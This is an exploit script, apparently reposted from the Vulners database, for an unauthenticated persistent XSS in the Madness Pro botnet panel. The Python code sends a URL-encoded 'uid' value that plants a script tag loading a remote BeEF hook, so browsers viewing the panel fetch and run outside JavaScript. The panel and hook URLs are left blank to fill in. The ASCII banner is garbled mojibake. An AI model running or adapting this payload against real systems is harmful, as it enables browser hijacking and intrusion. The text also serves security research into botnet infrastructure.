#!/usr/bin/env python2
# -*- coding: utf-8 -*-
# Exploit Title: Madness Pro <= 1.14 Persistent XSS
# Date: June 05, 2014
# Exploit Author: @botnet_hunter
# Version: 1.14
# Tested on: Apache2 - Ubuntu - MySQL
# βββ ββββΒ· βββββ β’ β β Β·. βΒ· ββ
# βββ’ βͺ ββ βββͺβͺ β’ββ βͺ Β·ββ βββββͺβββͺβββ
# βββͺ ββββ ββββββ ββββ ββ.βͺ ββββ ββ βββββΒ·ββββββͺ
# ββββββββ.ββββββͺβββββ.ββ βββΒ·βββ.ββββ ββββββ βββΒ·.
# .βββ βββββͺΒ·ββββ βββββͺ βββ βββββͺββ ββͺβββ β β’
# ββΒ· ββ’ βββββ βͺ β β ββ β’ β’ β β Β·. βββΒ· Β·ββββ β β βββ ..ββ Β· .ββ Β·
# ββ ββͺββͺβββββ βΒ·ββ β’ββββββ β βͺ Β·ββ βββββͺββ ββ βββͺ ββ β’ββββββ.βΒ·ββ β. ββ β.
# ββ βββββββββββ ββΒ·βββββββ βββ ββ βββββΒ·βββββ ββΒ· ββββββββββββͺβββββββββββββ
# βββββββββββββ’ββββββββββββββͺββ ββ ββββββββ βͺββββ. ββ ββββββββββββββͺββββββͺββ
# Β·βββ βββ .β ββββββ ββͺΒ·ββββ ββ ββͺβββ β β ββββββ’ ββ ββͺ βββ ββββ ββββ
#
# Unauthenticated persistent XSS in Madness Pro panel <= 1.14
# Discovered and developed by bwall @botnet_hunter
#
# References:
# http://blog.cylance.com/a-study-in-bots-lobotomy
#
import urllib
# Fill in URL that Madness Pro bot connects back to
panel_url = ""
# Fill in URL to your Javascript payload (the shorter the better)
beef_hook = ""
def install_beef_hook(beef_hook_url, panel_index_url):
f = urllib.urlopen("{0}?uid=12345%3Cimg%20alt%3D\\')%3B%5C%22%3E%3Cscript%20src=\"{1}\">%3C%2Fscript%3E%3C%2Fa%3E"
"%3Ca%20href%3D%22%23%22%20onclick%3D%5C%22set_status(\\'12345".format(panel_index_url,
beef_hook_url))
print f.read()
install_beef_hook(beef_hook, panel_url)Data
Build on a solid foundation withΒ Vulners data
WeΒ provide theΒ essential building blocks forΒ cybersecurity solutions withΒ comprehensive, structured, andΒ constantly updated vulnerability andΒ exploits data
Api
Power your application withΒ Vulners API
The Vulners REST API offers reliable, high-performance access toΒ vulnerabilityΒ intelligence, withΒ 99.9%Β SLAΒ uptime andΒ CDN-backed data delivery forΒ seamlessΒ global access
App
Assess and manage vulnerabilities withΒ VulnersΒ tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation